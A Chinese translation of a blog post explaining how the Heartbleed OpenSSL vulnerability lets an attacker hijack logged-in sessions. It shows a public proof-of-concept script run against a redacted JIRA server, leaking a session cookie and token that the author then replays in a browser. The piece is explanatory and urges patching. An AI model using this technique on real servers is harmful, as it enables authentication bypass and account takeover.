英文原文:Hijacking user sessions with the Heartbleed vulnerability
Heartbleed 問題實際上比它現在能被看出來的更糟糕(其實現在看起來已經很壞了)。
Heartbleed (CVE-2014-0160) 是一個 OpenSSL 的漏洞,允許任何遠程用戶將服務器的一些內存進行轉儲。是的,這真的很糟糕。最值得關注的是,一個熟練的用戶可以利用它通過一個流程將服務器用來與客戶溝通的RSA私鑰轉儲下來。發起這種攻擊所要求的知識/技能水平並不是特別高,但可能超過腳本初級用戶的平均水平。
那麼爲什麼說 Heartbleed 比你想的更糟呢? 這很簡單:目前可用的概念性證據的腳本允許任何客戶端,在世界任何地方,進行用戶登錄的會話劫持攻擊。
就在今天早上,被最廣泛共享的概念性證明是這樣一個簡單的Python腳本:https://gist.github.com/takeshixx/10107280 。通過這個腳本,世界上任何人都可以從一個脆弱的服務器上轉儲一部分內存。
讓我們看一看這個工具(它針對正在運行JIRA的問題跟蹤系統的脆弱服務器的)的輸出結果。爲提高可讀性,其中十六進制的輸出部分已被刪除。
[matt@laptop ~]# python heartbleed.py jira.XXXXXXXXXXX.com
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 3239
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
[email protected] /browse/
en_US-cubysj-198
8229788/6160/11/
(lots of garbage)
..............Ac
cept-Encoding: g
zip,deflate,sdch
..Accept-Languag
e: en-US,en;q=0.
8..Cookie: atlas
sian.xsrf.token=
BWEK-0C0G-BSN7-V
OZ1|3d6d84686dc0
f214d0df1779cbe9
4db6047b0ae5|lou
t; JSESSIONID=33
F4094F68826284D1
8AA6D7ED1D554E..
..E.$3Z.l8.M..e5
..6D7ED1D554E...
......*..?.e.b..
WARNING: server returned more data than it should - server is vulnerable!
這肯定是轉儲最近一個GET請求產生的內存。你注意到上面的 JSESSIONID Cookie 了嗎?這是 JIRA 用來跟蹤您的HTTP會話判斷你是否已經登錄的方式。如果這個系統需要驗證(象JIRA的安裝一樣),那麼我就可以將這個cookie插入到我的瀏覽器,成爲這個JIRA安裝程序的合法用戶。重新載入安裝 JIRA . 注意,我們現在登錄進安裝程序中了.
如上所見, 一旦我們得到一個有效的 session ID cookie, 我們就能作爲內部員工訪問 JIRA 安裝. 檢測到這種類型的攻擊的唯一方法是檢查每個請求通信的源地址。
該 Heartbleed 漏洞是糟糕的,而且幾乎沒有做什麼來防止遠程攻擊者可能執行一個允許繞過認證的會話劫持攻擊。請給您的系統立即打上補丁吧。